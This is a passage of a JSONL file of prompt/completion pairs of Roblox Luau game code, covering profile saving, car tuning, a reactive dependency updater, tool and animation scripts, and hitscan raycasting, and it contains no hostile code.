nil\n\t\t\t\t\t\tend,\n\t\t\t\t\t\tnew_global_update[1], new_global_update[4]\n\t\t\t\t\t)\n\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function SaveProfileAsync(profile, release_from_session)\n\tif type(profile.Data) ~= \"table\" then\n\t\tRegisterCorruption(\n\t\t\tprofile._profile_store._profile_store_name,\n\t\t\tprofile._profile_store._profile_store_scope,\n\t\t\tprofile._profile_key\n\t\t)\n\t\terror(\"[ProfileService]: PROFILE DATA CORRUPTED DURING RUNTIME! Profile: \" .. profile:Identify())\n\tend\n\tif release_from_session == true then\n\t\tReleaseProfileInternally(profile)\n\tend\n\tActiveProfileSaveJobs = ActiveProfileSaveJobs + 1\n\tlocal last_session_load_count = profile.MetaData.SessionLoadCount\n\t-- Compare \"SessionLoadCount\" when writing to profile to prevent a rare case of repeat last save when the profile is loaded on the same server again\n\tlocal repeat_save_flag = true -- Released Profile save calls have to repeat until they succeed\n\twhile repeat_save_flag == true do\n\t\tif release_from_session ~= true then\n\t\t\trepeat_save_flag = false\n\t\tend\n\t\tlocal loaded_data = StandardProfileUpdateAsyncDataStore(\n\t\t\tprofile._profile_store,\n\t\t\tprofile._profile_key,\n\t\t\t{\n\t\t\t\tExistingProfileHandle = nil,\n\t\t\t\tMissingProfileHandle = nil,\n\t\t\t\tEditProfile = function(latest_data)\n\t\t\t\t\t-- 1) Check if this session still owns the profile: --\n\t\t\t\t\tlocal active_session = latest_data.MetaData.ActiveSession\n\t\t\t\t\tlocal force_load_session = latest_data.MetaData.ForceLoadSession\n\t\t\t\t\tlocal session_load_count = latest_data.MetaData.SessionLoadCount\n\t\t\t\t\tlocal session_owns_profile = false\n\t\t\t\t\tlocal force_load_pending = false\n\t\t\t\t\tif type(active_session) == \"table\" then\n\t\t\t\t\t\tsession_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count\n\t\t\t\t\tend\n\t\t\t\t\tif type(force_load_session) == \"table\" then\n\t\t\t\t\t\tforce_load_pending = not IsThisSession(force_load_session)\n\t\t\t\t\tend\n\n\t\t\t\t\tif session_owns_profile == true then -- We may only edit the profile if this session has ownership of the profile\n\t\t\t\t\t\t-- 2) Manage global updates: --\n\t\t\t\t\t\tlocal latest_global_updates_data = latest_data.GlobalUpdates -- {update_index, {{update_id, version_id, update_locked, update_data}, ...}}\n\t\t\t\t\t\tlocal latest_global_updates_list = latest_global_updates_data[2]\n\n\t\t\t\t\t\tlocal global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]\n\t\t\t\t\t\tlocal pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...}\n\t\t\t\t\t\tlocal pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...}\n\t\t\t\t\t\t-- Active update locking:\n\t\t\t\t\t\tfor i = 1, #latest_global_updates_list do\n\t\t\t\t\t\t\tfor _, lock_id in ipairs(pending_update_lock) do\n\t\t\t\t\t\t\t\tif latest_global_updates_list[i][1] == lock_id then\n\t\t\t\t\t\t\t\t\tlatest_global_updates_list[i][3] = true\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t-- Locked update clearing:\n\t\t\t\t\t\tfor _, clear_id in ipairs(pending_update_clear) do\n\t\t\t\t\t\t\tfor i = 1, #latest_global_updates_list do\n\t\t\t\t\t\t\t\tif latest_global_updates_list[i][1] == clear_id and latest_global_updates_list[i][3] == true then\n\t\t\t\t\t\t\t\t\ttable.remove(latest_global_updates_list, i)\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t-- 3) Save profile data: --\n\t\t\t\t\t\tlatest_data.Data = profile.Data\n\t\t\t\t\t\tlatest_data.MetaData.MetaTags = profile.MetaData.MetaTags -- MetaData.MetaTags is the only actively savable component of MetaData\n\t\t\t\t\t\tlatest_data.MetaData.LastUpdate = os.time()\n\t\t\t\t\t\tif release_from_session == true or force_load_pending == true then\n\t\t\t\t\t\t\tlatest_data.MetaData.ActiveSession = nil\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend,\n\t\t\t},\n\t\t\tprofile._is_user_mock\n\t\t)\n\t\tif loaded_data ~= nil then\n\t\t\trepeat_save_flag = false\n\t\t\t-- 4) Set latest data in profile: --\n\t\t\t-- Setting global updates:\n\t\t\tlocal global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]\n\t\t\tlocal old_global_updates_data = global_updates_object._updates_latest\n\t\t\tlocal new_global_updates_data = loaded_data.GlobalUpdates\n\t\t\tglobal_updates_object._updates_latest = new_global_updates_data\n\t\t\t-- Setting MetaData:\n\t\t\tlocal session_meta_data = profile.MetaData\n\t\t\tlocal latest_meta_data = loaded_data.MetaData\n\t\t\tfor key in pairs(SETTINGS.MetaTagsUpdatedValues) do\n\t\t\t\tsession_meta_data[key] = latest_meta_data[key]\n\t\t\tend\n\t\t\tsession_meta_data.MetaTagsLatest = latest_meta_data.MetaTags\n\t\t\t-- 5) Check if session still owns the profile: --\n\t\t\tlocal active_session = loaded_data.MetaData.ActiveSession\n\t\t\tlocal session_load_count = loaded_data.MetaData.SessionLoadCount\n\t\t\tlocal session_owns_profile = false\n\t\t\tif type(active_session) == \"table\" then\n\t\t\t\tsession_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count\n\t\t\tend\n\t\t\tlocal is_active = profile:IsActive()\n\t\t\tif session_owns_profile == true then\n\t\t\t\t-- 6) Check for new global updates: --\n\t\t\t\tif is_active == true then -- Profile could've been released before the saving thread finished\n\t\t\t\t\tCheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t-- Session no longer owns the profile:\n\t\t\t\t-- 7) Release profile if it hasn't been released yet: --\n\t\t\t\tif is_active == true then\n\t\t\t\t\tReleaseProfileInternally(profile)\n\t\t\t\tend\n\t\t\t\t-- Cleanup reference in custom write queue:\n\t\t\t\tCustomWriteQueueMarkForCleanup(profile._profile_store._profile_store_lookup, profile._profile_key)\n\t\t\t\t-- Hop ready listeners:\n\t\t\t\tif profile._hop_ready == false then\n\t\t\t\t\tprofile._hop_ready = true\n\t\t\t\t\tprofile._hop_ready_listeners:Fire()\n\t\t\t\tend\n\t\t\tend\n\t\t\t-- Signaling MetaTagsUpdated listeners after a possible external profile release was handled:\n\t\t\tprofile.MetaTagsUpdated:Fire(profile.MetaData.MetaTagsLatest)\n\t\telseif repeat_save_flag == true then\n\t\t\tMadwork.HeartbeatWait() -- Prevent infinite loop in case DataStore API does not yield\n\t\tend\n\tend\n\tActiveProfileSaveJobs = ActiveProfileSaveJobs - 1\nend\n"} +{"prompt": "-- Release all loaded profiles when the server is shutting down:", "completion": "\ntask.spawn(function()\n\tWaitForLiveAccessCheck()\n\tMadwork.ConnectToOnClose(\n\t\tfunction()\n\t\t\tProfileService.ServiceLocked = true\n\t\t\t-- 1) Release all active profiles: --\n\t\t\t-- Clone AutoSaveList to a new table because AutoSaveList changes when profiles are released:\n\t\t\tlocal on_close_save_job_count = 0\n\t\t\tlocal active_profiles = {}\n\t\t\tfor index, profile in ipairs(AutoSaveList) do\n\t\t\t\tactive_profiles[index] = profile\n\t\t\tend\n\t\t\t-- Release the profiles; Releasing profiles can trigger listeners that release other profiles, so check active state:\n\t\t\tfor _, profile in ipairs(active_profiles) do\n\t\t\t\tif profile:IsActive() == true then\n\t\t\t\t\ton_close_save_job_count = on_close_save_job_count + 1\n\t\t\t\t\ttask.spawn(function() -- Save profile on new thread\n\t\t\t\t\t\tSaveProfileAsync(profile, true)\n\t\t\t\t\t\ton_close_save_job_count = on_close_save_job_count - 1\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\tend\n\t\t\t-- 2) Yield until all active profile jobs are finished: --\n\t\t\twhile on_close_save_job_count > 0 or ActiveProfileLoadJobs > 0 or ActiveProfileSaveJobs > 0 do\n\t\t\t\ttask.wait()\n\t\t\tend\n\t\t\treturn -- We're done!\n\t\tend,\n\t\tUseMockDataStore == false -- Always run this OnClose task if using Roblox API services\n\t)\nend)\n\nreturn ProfileService\n"} +{"prompt": "--[[Engine (Avxnturador)]]", "completion": "\n\n\t-- Everything below can be illustrated and tuned with the graph below.\n\t-- https://www.desmos.com/calculator/oishj9m1tq\n\t-- This includes everything, from the engines, to boost, to electric.\n\t\n\t-- To import engines prior to AC6C V1.3, consult the README.\n\t\n\t-- Naturally Aspirated Engine\n\tTune.Engine \t\t= true\t\t\n\t\t\n\t\tTune.Horsepower\t\t= 249\t-- Naturally aspirated horsepower, before adding forced induction\n\t\tTune.IdleRPM\t\t= 650\t-- Engine idle\n\t\tTune.PeakRPM\t\t= 4800\t-- Where horsepower reaches peak\n\t\tTune.Redline\t\t= 6000\t-- Your engine's rev limiter\n\t\tTune.PeakSharpness\t= 45\t-- How fast power drops off past peak horsepower\n\t\tTune.CurveMult\t\t= .5\t-- Higher values mean a peakier power curve, lower values being smoother\n\t\tTune.EqPoint\t\t= 5252\t-- Standardized, do not touch\n\n\t\tTune.CompressionRatio\t= 8.5 -- Only affects cars with forced induction, Google this value\n\t\n\t-- Electric Engine\n\tTune.Electric\t\t= false\n\t\t\n\t\tTune.E_Redline\t= 12700\n\t\tTune.E_Trans1\t= 4000\n\t\tTune.E_Trans2\t= 7000\n\t\t-- Horsepower\n\t\tTune.E_Horsepower\t= 223\n\t\tTune.EH_FrontMult\t= 0.15\n\t\tTune.EH_EndMult\t\t= 2.9\n\t\tTune.EH_EndPercent\t= 7\n\t\t-- Torque\n\t\tTune.E_Torque\t\t= 286\n\t\tTune.ET_EndMult\t\t= 1.505\n\t\tTune.ET_EndPercent\t= 27.5\n\t\t\n\t-- Turbocharger\n\tTune.Turbochargers\t= 2\t\t\t\t-- Number of turbochargers in the engine, set to 0 for no turbochargers\n\t\t\t\t\t\t\t\t\t\t\n\t\tTune.T_Boost\t\t= 7\n\t\tTune.T_BoostLag\t\t= 125\t\t-- Turbo lag overall\n\t\tTune.T2_BoostLag\t= 250\t\t-- (ONLY ACTIVE ON TWIN TURBO CARS) Second turbo lag, equal to the first turbo lag or greater if you're using sequential turbos\n\t\t\n\t-- Supercharger\n\tTune.Superchargers\t= 0\t\t\t\t-- Number of superchargers in the engine\n\t\t\t\t\t\t\t\t\t\t-- Set to 0 for no superchargers\n\t\tTune.S_Boost\t\t= 7\n\t\tTune.S_Sensitivity\t= 0.05\t\t-- Supercharger responsiveness/sensitivity, applied per tick (recommended values between 0.05 to 0.1)\n\t\t\n\t--Misc\n\tTune.ThrotAccel\t\t= .05\t\t-- Throttle acceleration, applied per tick (recommended values between 0.05 to 0.1)\n\tTune.ThrotDecel\t\t= .2\t\t-- Throttle deceleration, applied per tick (recommended values between 0.1 to 0.3)\n\t\n\tTune.BrakeAccel\t\t= .2\t\t-- Brake acceleration, applied per tick\n\tTune.BrakeDecel\t\t= .5\t\t-- Brake deceleration, applied per tick\n\t\n\tTune.RevAccel\t\t= 250\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 250\t\t-- RPM kickback from redline\n\t\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.Flywheel\t\t= 500\t\t-- Flywheel weight (higher = faster response, lower = more stable RPM)\n\t\n\tTune.InclineComp\t= 1\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t"} +{"prompt": "--[[\n\tGiven a reactive object, updates all dependent reactive objects.\n\tObjects are only ever updated after all of their dependencies are updated,\n\tare only ever updated once, and won't be updated if their dependencies are\n\tunchanged.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal Types = require(Package.Types)\n\nlocal function updateAll(ancestor: Types.Dependency)\n\t--[[\n\t\tFirst things first, we need to mark all indirect dependents as needing\n\t\tan update. This means we can ignore any dependencies that aren't related\n\t\tto the current update operation.\n\t]]\n\n\t-- set of all dependents that still need to be updated\n\tlocal needsUpdateSet: Types.Set> = {}\n\t-- the dependents to be processed now\n\tlocal processNow: {Types.Dependent} = {}\n\tlocal processNowSize = 0\n\t-- the dependents of the open set to be processed next\n\tlocal processNext: {Types.Dependent} = {}\n\tlocal processNextSize = 0\n\n\t-- initialise `processNow` with dependents of ancestor\n\tfor dependent in pairs(ancestor.dependentSet) do\n\t\tprocessNowSize += 1\n\t\tprocessNow[processNowSize] = dependent\n\tend\n\n\trepeat\n\t\t-- if we add to `processNext` this will be false, indicating we need to\n\t\t-- process more dependents\n\t\tlocal processingDone = true\n\n\t\tfor _, member in ipairs(processNow) do\n\t\t\t-- mark this member as needing an update\n\t\t\tneedsUpdateSet[member] = true\n\n\t\t\t-- add the dependents of the member for processing\n\t\t\tif member.dependentSet ~= nil then\n\t\t\t\tfor dependent in pairs(member.dependentSet) do\n\t\t\t\t\tprocessNextSize += 1\n\t\t\t\t\tprocessNext[processNextSize] = dependent\n\t\t\t\t\tprocessingDone = false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t-- swap in the next dependents to be processed\n\t\tprocessNow, processNext = processNext, processNow\n\t\tprocessNowSize, processNextSize = processNextSize, 0\n\t\ttable.clear(processNext)\n\tuntil processingDone\n\n\t--[[\n\t\t`needsUpdateSet` is now set up. Now that we have this information, we\n\t\tcan iterate over the dependents once more and update them only when the\n\t\trelevant dependencies have been updated.\n\t]]\n\n\t-- re-initialise `processNow` similar to before\n\tprocessNowSize = 0\n\ttable.clear(processNow)\n\tfor dependent in pairs(ancestor.dependentSet) do\n\t\tprocessNowSize += 1\n\t\tprocessNow[processNowSize] = dependent\n\tend\n\n\trepeat\n\t\t-- if we add to `processNext` this will be false, indicating we need to\n\t\t-- process more dependents\n\t\tlocal processingDone = true\n\n\t\tfor _, member in ipairs(processNow) do\n\t\t\t-- mark this member as no longer needing an update\n\t\t\tneedsUpdateSet[member] = nil\n\n\t\t\t--FUTURE: should this guard against errors?\n\t\t\tlocal didChange = member:update()\n\n\t\t\t-- add the dependents of the member for processing\n\t\t\t-- optimisation: if nothing changed, then we don't need to add these\n\t\t\t-- dependents, because they don't need processing.\n\t\t\tif didChange and member.dependentSet ~= nil then\n\t\t\t\tfor dependent in pairs(member.dependentSet) do\n\t\t\t\t\t-- don't add dependents that have un-updated dependencies\n\t\t\t\t\tlocal allDependenciesUpdated = true\n\t\t\t\t\tfor dependentDependency in pairs(dependent.dependencySet) do\n\t\t\t\t\t\tif needsUpdateSet[dependentDependency] then\n\t\t\t\t\t\t\tallDependenciesUpdated = false\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tif allDependenciesUpdated then\n\t\t\t\t\t\tprocessNextSize += 1\n\t\t\t\t\t\tprocessNext[processNextSize] = dependent\n\t\t\t\t\t\tprocessingDone = false\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tif not processingDone then\n\t\t\t-- swap in the next dependents to be processed\n\t\t\tprocessNow, processNext = processNext, processNow\n\t\t\tprocessNowSize, processNextSize = processNextSize, 0\n\t\t\ttable.clear(processNext)\n\t\tend\n\tuntil processingDone\n\n\t--[[\n\t\tThe update is now complete!\n\t]]\nend\n\nreturn updateAll\n"} +{"prompt": "--\tW.C0 = C0", "completion": "\n\t--W.C1 = C1\n\tW.Parent = x\n\t\nend\n\nlocal anim = nil \nlocal handle = nil\t\nlocal namehide = Instance.new(\"BoolValue\")\nnamehide.Name = \"HideName\"\n\t\t\thandle = Tool.Handle\n\nTool.Equipped:connect(function()\n\t\n\t\t\tTool.Handle.Sound:Play()\n\t\t\thandle.Parent = char\n\t\t\tweldTogether(handle, char.Torso) \n\t\t\tnamehide.Parent = hum.Effects\n\t\t\tif anim ~= nil then\n\t\t\t\tanim:Stop()\n\t\t\tend\n\t\t\tanim = hum:LoadAnimation(script.BoxHide) \n\t\t\tanim:Play() \n\t\t\nend)\n\n\nTool.Unequipped:connect(function()\n\t\tif anim ~= nil then\n\t\t\t\tanim:Stop()\n\t\tend\n\t\thandle.Parent = Tool \n\t\tnamehide.Parent = nil\n\t\nend)\n"} +{"prompt": "----", "completion": "\nlocal FOV = 10\t\t\t\t\t-- HOW MUCH YOU WANT CAMERA TO ZOOM IN. 70 IS DEFAULT. SMALLER NUMBER = MORE ZOOM\nlocal cooldowntime = .0\t\t-- HOW LONG BEFORE THEY CAN ZOOM IN/OUT AGAIN.\nlocal KEYBIND = Enum.KeyCode.R\t-- CHANGE E TO WHATEVER KEY YOU WANT THEM TO PRESS TO ZOOM."} +{"prompt": "--// Services", "completion": "\nlocal L_98_ = game:GetService('RunService').RenderStepped\nlocal L_99_ = game:GetService('UserInputService')\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = {};\nlocal v2 = {};\nv2.__index = v2;\nfunction v2.GetInstance(p1, p2)\n\tif p1.InstancePoolsByClass[p2] == nil then\n\t\tp1.InstancePoolsByClass[p2] = {};\n\tend;\n\tlocal v3 = #p1.InstancePoolsByClass[p2];\n\tif not (v3 > 0) then\n\t\treturn Instance.new(p2);\n\tend;\n\ttable.remove(p1.InstancePoolsByClass[p2]);\n\treturn p1.InstancePoolsByClass[p2][v3];\nend;\nfunction v2.ReturnInstance(p3, p4)\n\tif p3.InstancePoolsByClass[p4.ClassName] == nil then\n\t\tp3.InstancePoolsByClass[p4.ClassName] = {};\n\tend;\n\tif not (#p3.InstancePoolsByClass[p4.ClassName] < p3.PoolSizePerType) then\n\t\tp4:Destroy();\n\t\treturn;\n\tend;\n\ttable.insert(p3.InstancePoolsByClass[p4.ClassName], p4);\nend;\nfunction v1.new(p5)\n\tlocal v4 = setmetatable({}, v2);\n\tv4.InstancePoolsByClass = {};\n\tv4.Name = \"ObjectPool\";\n\tv4.PoolSizePerType = p5;\n\treturn v4;\nend;\nreturn v1;\n"} +{"prompt": "--[[This is the main teleporter script. From here we find the other teleporter, tell all clients to\n\tdo a funky animation effect and teleport the player.\n]]", "completion": "\n"} +{"prompt": "-------------------------------", "completion": "\n\nlocal tool = script.Parent\nlocal player = game.Players.LocalPlayer\nwhile player.Character == nil do wait() end\nlocal char = player.Character\nwhile char:FindFirstChild(\"Humanoid\") == nil do wait() end\nlocal hum = char:FindFirstChild(\"Humanoid\")\nlocal mouse = player:GetMouse()\n\nlocal going = false\nlocal enabled = true\nlocal equipped = false\n\nfunction stoppedGoing(mouse)\n\tif going then\n\t\tgoing = false\n\t\tscript.Parent.Stopped:FireServer()\n\t\twait(RELOAD_TIME)\n\t\tif equipped then\n\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\t\tend\n\t\tenabled = true\n\tend\nend\n\ntool.Selected:connect(function(mouse)\n\tequipped = true\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function()\n\t\tif hum == nil then return end\n\t\tif hum.Health <= 0 then return end\n\t\tif mouse == nil then return end\n\t\tif enabled then\n\t\t\tif not going then\n\t\t\t\tif mouse.Hit ~= nil then\n\t\t\t\t\tenabled = false\n\t\t\t\t\tgoing = true\n\t\t\t\t\tscript.Parent.Start:FireServer(mouse.Hit.p)\n\t\t\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\tmouse.Button1Up:connect(function()\n\t\tstoppedGoing(mouse)\n\tend)\nend)\n\ntool.Deselected:connect(function()\n\tequipped = false\n\tstoppedGoing(mouse)\nend)\n\n\n"} +{"prompt": "--SigmaTech converted this script to a Module script\n--Script was originally broken because ROBLOX discontinues Hopper Bins", "completion": "\n"} +{"prompt": "-----------------\n--| Variables |--\n-----------------", "completion": "\n\nlocal DebrisService = Game:GetService('Debris')\nlocal PlayersService = Game:GetService('Players')\n\nlocal MyPlayer = PlayersService.LocalPlayer\n\nlocal Tool = script.Parent\nlocal ToolHandle = Tool.Handle\n\nlocal RocketScript = WaitForChild(script, 'Rocket')\nlocal SwooshSound = WaitForChild(script, 'Swoosh')\nlocal BoomSound = WaitForChild(script, 'Boom')\n"} +{"prompt": "-- constants", "completion": "\n\nlocal PLAYER\t= Players.LocalPlayer\n\nreturn function(character)\n\tlocal rootPart\t= character.UpperTorso\n\t\n\tfor _, v in pairs(character:GetDescendants()) do\n\t\tif v:IsA(\"BasePart\") then\n\t\t\tv.Transparency\t= 1\n\t\telseif v:IsA(\"Decal\") then\n\t\t\tv.Transparency\t= 1\n\t\tend\n\tend\n\t\n\tlocal emitter\t= script.TicketEmitter:Clone()\n\t\temitter.Parent\t= rootPart\n\t\t\n\temitter:Emit(60)\nend\n"} +{"prompt": "--Player leaving > save data and remove server data about player", "completion": "\nfunction module:RemovePlayerData(player)\n\tif main.pd[player] then\n\t\tsavePlayerData(player, true)\n\tend\n\tmain.pd[player] = nil\nend\n\n\n"} +{"prompt": "-- Simulate a hitscan ", "completion": "\nlocal function SimulateHitscan(cast: ActiveCast, origin: Vector3, direction: Vector3, initialVelocity: Vector3, distance: number)\n\tlocal targetWorldRoot = cast.RayInfo.WorldRoot\n\tlocal resultOfCast = targetWorldRoot:Raycast(origin, direction * distance, cast.RayInfo.Parameters)\n\tlocal point = origin + direction * distance\n\tlocal part: Instance? = nil\n\tlocal material = Enum.Material.Air\n\tlocal normal = Vector3.new()\n\tif resultOfCast then\n\t\tpoint = resultOfCast.Position\n\t\tpart = resultOfCast.Instance\n\t\tmaterial = resultOfCast.Material\n\t\tnormal = resultOfCast.Normal\n\tend\n\ttable.insert(cast.StateInfo.TweenTable, {\n\t\torigin = origin,\n\t\tdirection = CFrame.new(origin, point),\n\t\tlastPoint = origin,\n\t\ts = 0,\n\t\tready = false,\n\t\tl = (origin - point).Magnitude\n\t})\t\n\tif part and part ~= cast.RayInfo.CosmeticBulletObject then\n\t\tif cast.RayInfo.CanPenetrateCallback == nil or (cast.RayInfo.CanPenetrateCallback ~= nil and cast.RayInfo.CanPenetrateCallback(cast, origin, direction, resultOfCast, initialVelocity, cast.RayInfo.CosmeticBulletObject) == false) then\n\t\t\tPrintDebug(\"Penetrating function is nil or it returned FALSE to not penetrate this hit.\")\n\n\t\t\tif cast.RayInfo.CanHitCallback == nil or (cast.RayInfo.CanHitCallback ~= nil and cast.RayInfo.CanHitCallback(cast, origin, direction, resultOfCast, initialVelocity, cast.RayInfo.CosmeticBulletObject) == false) then\n\t\t\t\tPrintDebug(\"Hit was successful. Terminating.\")\n\t\t\t\tSendRayFinalHit(cast, origin, direction, resultOfCast, initialVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\t\t\tDbgVisualizeHit(CFrame.new(point), false)\n\t\t\telse\n\t\t\t\tSendRayHit(cast, origin, direction, resultOfCast, initialVelocity, cast.RayInfo.CosmeticBulletObject) -- This may result in CancelHighResCast being set to true.\n\t\t\t\tlocal vis = DbgVisualizeHit(CFrame.new(point), true)\n\t\t\t\tif (vis ~= nil) then vis.Color3 = Color3.new(1, 0.113725, 0.588235) end\n\t\t\t\tSimulateHitscan(cast, point, cast.RayInfo.ModifiedDirection, initialVelocity, distance)\n\t\t\tend\n\t\telse\t\t\t\n\t\t\tPrintDebug(\"Penetrating function returned TRUE to penetrate this part.\")\n\t\t\tDbgVisualizeHit(CFrame.new(point), true)\n\n\t\t\tlocal params = cast.RayInfo.Parameters\n\t\t\tlocal alteredParts = {}\n\t\t\tlocal currentPenetrationTestCount = 0\n\t\t\tlocal originalFilter = params.FilterDescendantsInstances\n\t\t\tlocal brokeFromSolidObject = false\n\n\t\t\twhile true do\n\t\t\t\t-- So now what I need to do is redo this entire cast, just with the new filter list\n\n\t\t\t\t-- Catch case: Is it terrain?\n\t\t\t\tif resultOfCast.Instance:IsA(\"Terrain\") then\n\t\t\t\t\tif material == Enum.Material.Water then\n\t\t\t\t\t\t-- Special case: Penetrated on water?\n\t\t\t\t\t\tcast:Terminate()\n\t\t\t\t\t\terror(\"Do not add Water as a piercable material. If you need to penetrate water, set cast.RayInfo.Parameters.IgnoreWater = true instead\", 0)\n\t\t\t\t\tend\n\t\t\t\t\twarn(\"WARNING: The penetrate callback for this cast returned TRUE on Terrain! This can cause severely adverse effects.\")\n\t\t\t\tend\n\n\t\t\t\tif params.FilterType == Enum.RaycastFilterType.Blacklist then\n\t\t\t\t\t-- blacklist\n\t\t\t\t\t-- DO NOT DIRECTLY TABLE.INSERT ON THE PROPERTY\n\t\t\t\t\tlocal filter = params.FilterDescendantsInstances\n\t\t\t\t\ttable.insert(filter, resultOfCast.Instance)\n\t\t\t\t\ttable.insert(alteredParts, resultOfCast.Instance)\n\t\t\t\t\tparams.FilterDescendantsInstances = filter\n\t\t\t\telse\n\t\t\t\t\t-- whitelist\n\t\t\t\t\t-- method implemeneted by custom table system\n\t\t\t\t\t-- DO NOT DIRECTLY TABLE.REMOVEOBJECT ON THE PROPERTY\n\t\t\t\t\tlocal filter = params.FilterDescendantsInstances\n\t\t\t\t\ttable.removeObject(filter, resultOfCast.Instance)\n\t\t\t\t\ttable.insert(alteredParts, resultOfCast.Instance)\n\t\t\t\t\tparams.FilterDescendantsInstances = filter\n\t\t\t\tend\n\n\t\t\t\t-- List has been updated, so let's cast again.\t\t\t\t\t\n\t\t\t\tresultOfCast = targetWorldRoot:Raycast(origin, direction, params)\n\n\t\t\t\t-- No hit? No simulation. Break.\n\t\t\t\tif resultOfCast == nil then\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\t\t\t\tif currentPenetrationTestCount >= MAX_PENETRATION_TEST_COUNT then\n\t\t\t\t\twarn(\"WARNING: Exceeded maximum penetrate test budget for a single ray segment (attempted to test the same segment \" .. MAX_PENETRATION_TEST_COUNT .. \" times!)\")\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\tcurrentPenetrationTestCount = currentPenetrationTestCount + 1;\n\n\t\t\t\tif cast.RayInfo.CanPenetrateCallback(cast, origin, direction, resultOfCast, initialVelocity, cast.RayInfo.CosmeticBulletObject) == false then\n\t\t\t\t\tbrokeFromSolidObject = true\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t-- Restore the filter to its default state.\n\t\t\tcast.RayInfo.Parameters.FilterDescendantsInstances = originalFilter\n\n\t\t\tif brokeFromSolidObject then\n\t\t\t\tif cast.RayInfo.CanHitCallback == nil or (cast.RayInfo.CanHitCallback ~= nil and cast.RayInfo.CanHitCallback(cast, origin, direction, resultOfCast, initialVelocity, cast.RayInfo.CosmeticBulletObject) == false) then\n\t\t\t\t\tPrintDebug(\"Broke because the ray hit something solid (\" .. tostring(resultOfCast.Instance) .. \") while testing for a penetration. Terminating the cast.\")\n\t\t\t\t\tSendRayFinalHit(cast, origin, direction, resultOfCast, initialVelocity, cast.RayInfo.CosmeticBulletObject)\n\t\t\t\t\tDbgVisualizeHit(CFrame.new(resultOfCast.Position), false)\n\t\t\t\telse\n\t\t\t\t\t-- Recalculating hit something hittable instead.\n\t\t\t\t\tSendRayHit(cast, origin, direction, resultOfCast, initialVelocity, cast.RayInfo.CosmeticBulletObject) -- This may result in CancelHighResCast being set to true.\n\t\t\t\t\tlocal vis = DbgVisualizeHit(CFrame.new(point), true)\n\t\t\t\t\tif (vis ~= nil) then vis.Color3 = Color3.new(1, 0.113725, 0.588235) end\n\t\t\t\t\tSimulateHitscan(cast, point, cast.RayInfo.ModifiedDirection, initialVelocity, distance)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tSimulateHitscan(cast, point + (direction * 0.01), direction, initialVelocity, distance - ((origin - point).Magnitude))\n\t\t\tend\n\t\t\t\n\t\t\t-- And exit the function here too.\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\n\tROBLOX deviation: ReactFiberHostConfig captures singleton state across the\n\twhole workspace. This file and the modules it requires were moved from React\n\tto untangle a cyclic workspace member dependency.\n\n\tBefore:\n\t* ReactFiberHostConfig (and the 5 associated modules) lived in React\n\t* React had a dependency on Shared\n\t* Shared reached into React source to re-export ReactFiberHostConfig (cycle)\n\n\tAfter:\n\t* ReactFiberHostConfig (and the 5 associated modules) live in Shared\n\t* React depends on Shared\n\t* Shared has no intra-workspace dependencies (no cycles)\n]]", "completion": "\n"} +{"prompt": "--// Animations", "completion": "\nlocal L_165_\n\nfunction IdleAnim(L_335_arg1)\n\tL_24_.IdleAnim(L_3_, L_165_, {\n\t\tL_45_,\n\t\tL_46_,\n\t\tL_47_\n\t});\nend;\n\nfunction EquipAnim(L_336_arg1)\n\tL_24_.EquipAnim(L_3_, L_165_, {\n\t\tL_45_\n\t});\nend;\n\nfunction UnequipAnim(L_337_arg1)\n\tL_24_.UnequipAnim(L_3_, L_165_, {\n\t\tL_45_\n\t});\nend;\n\nfunction FireModeAnim(L_338_arg1)\n\tL_24_.FireModeAnim(L_3_, L_165_, {\n\t\tL_45_,\n\t\tL_47_,\n\t\tL_46_,\n\t\tL_55_\n\t});\nend\n\nfunction ReloadAnim(L_339_arg1)\n\tL_24_.ReloadAnim(L_3_, L_165_, {\n\t\tL_45_,\n\t\tL_46_,\n\t\tL_47_,\n\t\tL_58_,\n\t\tL_3_:WaitForChild('Left Arm'),\n\t\tL_55_,\n\t\tL_49_,\n\t\tL_3_:WaitForChild('Right Arm'),\n\t\tL_43_\n\t});\nend;\n\nfunction BoltingBackAnim(L_340_arg1)\n\tL_24_.BoltingBackAnim(L_3_, L_165_, {\n\t\tL_49_\n\t});\nend\n\nfunction 